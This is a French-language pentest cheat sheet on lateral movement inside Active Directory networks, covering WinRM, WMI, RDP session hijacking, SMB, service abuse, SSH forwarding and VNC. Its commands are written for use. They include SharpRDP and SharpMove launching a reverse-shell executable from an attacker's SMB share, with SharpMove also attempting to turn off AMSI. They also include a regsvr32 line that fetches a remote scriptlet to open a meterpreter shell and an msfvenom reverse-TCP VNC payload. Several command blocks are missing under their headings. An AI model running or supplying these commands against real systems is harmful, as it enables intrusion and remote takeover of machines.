➡️Mouvements latéraux
Techniques de mouvements latéraux dans environnement AD
WinRM
Commandes utiles:
Evil-WinRM
Evil-WinRM permet d'ouvrir un shell winRM sur la machine de l'attaquant.
Exemple:
$ evil-winrm -i <target IP> -u <utilisateur> -p <password>
ressource: https://github.com/Hackplayers/evil-winrm
WinRS
Lancer une commande à distance:
WMI
Lancement de processus à distance avec wmi:
RDP
Il est possible de changer d'utilisateur lorsqu'on est connecté en tant qu'administrateur en allant dans le gestionnaire de tâches puis en allant dans la section "Users". Une fois dedans on peut choisir l'utilisateur voulu et faire un clic droit dessus puis se connecter.
Cette manipulation requière le mot de passe de l'utilisateur en question.
Pour tenter de se connecter sans connaître le mot de passe de la victime, on peut essayer d'utiliser l'outil PsExec avec les permissions SYSTEM.
On peut basculer vers la session d'un utilisateur avec le binaire Windows natif tscon.exe qui permet aux utilisateurs de se connecter à d'autres sessions en spécifiant leur ID de session.
Exécution de commande avec SharpRDP
L'attaquant doit au préalable avoir créé un serveur SMB et placé son exécutable malveillant dedans (reverse shell par exemple)
$ SharpRDP.exe computername=DESKTOP-XXXXXX command="cmd.exe /c \<attacker SMB server>\partage\shell.exe username=Administrator password=<password>
Racine web partagée
Enumeration des partages de la victime:
Nécessite le mot de passe de l'utilisateur.
Si il y a un répertoire web partagé (wwwroot par exemple), s'y connecter:
Si le fichier c.aspx est visible dans les partages alors on pourra y accéder en se rendant à l'adresse <IP victime>/c.aspx dans un navigateur.
Service Configuration Manager
Il est possible d'exécuter des commandes sur un hôte distant en abusant du gestionnaire de configuration de service en échangeant le chemin d'accès par votre payload et en redémarrant le service pour que celui-ci soit exécuté. Il est possible d'utiliser l'outil SCShell pour le faire automatiquement.
ressource: https://github.com/Mr-Un1k0d3r/SCShell
SMB
PsExec
Connexion à une machine distante avec PsExec en SMB:
Sc.exe
sc.exe est un outil de ligne de commande fourni avec Windows et offre la fonctionnalité de maintenance et d'administration des services Windows NT. Il s'agit d'un processus système non essentiel, cependant, il peut être utilisé pour créer des processus et y exécuter des DLL.
Il faut donc dans un premier temps créer un handler sur notre machine locale.
Nous devrions obtenir avec ce module un code regsvr qu'on peut inclure dans la commande sc.exe binpath de la machine cible:
Ce processus devrait alors ouvrir un shell meterpreter sur notre machine locale grâce au handler précédemment ouvert.
Il est possible d'utiliser le même module avec cmd.exe, dans ce cas on utilisera la commande
$ cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://<attacker IP>:<port d'écoute>/jqVdIASVxjl4T.sct scrobj.dll" 1> \127.0.0.1\ADMIN$\<profil> 2>&1
SharpMove.exe
0xthirteen a développé un script C # appelé SharpMove qui utilise de nombreux services distants différents pour effectuer l'exécution du code. Il peut utiliser un partage SMB sur un système distant pour exécuter du code. Il peut également essayer de désactiver l'AMSI. Dans cet exemple, nous allons modifier un service existant en y inscrivant notre propre code. Nous venons de créer un service lors de la démonstration de sc.exe, modifions ce service. L'exécution sur le système avec le nom d'hôte "DESKTOP-XXXXXX" peut être réalisée comme suit :
$ SharpMove.exe action=modsvc computername=DESKTOP-XXXXXX command="cmd.exe /c \\<attacker IP>\partage\shell.exe" amsi=true servicename=<service> username=Administrator password=<password>
De Beacon à session RDP
Si la machine compromise utilise des beacon et permet une connexion en RDP mais que vous ne pouvez pas vous y connecter de l'extérieur, On peut essayer d'utiliser cette technique:
Créer un proxy socks sur le port 7777 sur la machine compromise.
Configurer proxychains pour pointer vers le port ouvert
Puis se connecter en RDP avec xfreerdp:
SSH
Port Forwarding
Pour mettre en place une redirection de port locale, qui nous permet de rediriger tout trafic entrant sur un port spécifique vers le serveur de destination, nous suivons le schéma suivant :
$ ssh -L <local port> : <dest IP> : <dest port> <username>@<server IP>
Une fois la configuration réussie, nous pourrions désormais nous connecter au serveur de destination ! Tout d'abord, assurez-vous qu'il n'y a pas d'entrées localhost préexistantes dans le fichier known_hosts (en utilisant $ ssh-keygen -R 127.0.0.1
)
Ensuite on peut se connecter avec la commande:
$ ssh <username>@127.0.0.1 -p <local port>
VNC
Vncinject est une charge utile disponible avec msfvenom, elle installe une DLL vnc réfléchissante sur le système de l'attaquant et se reconnecte au système de l'attaquant. On peut noter que pour d'autres mouvements latéraux utilisant ceci, il peut être conservé dans un partage, et une méthode d'exécution à distance comme psexec peut être utilisée.
Sur la machine locale:
Création du payload:
$ msfvenom -p windows/x64/vncinject/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f exe > vnc.exe
Mise en place du handler:
Sur la machine cible:
Dernière mise à jour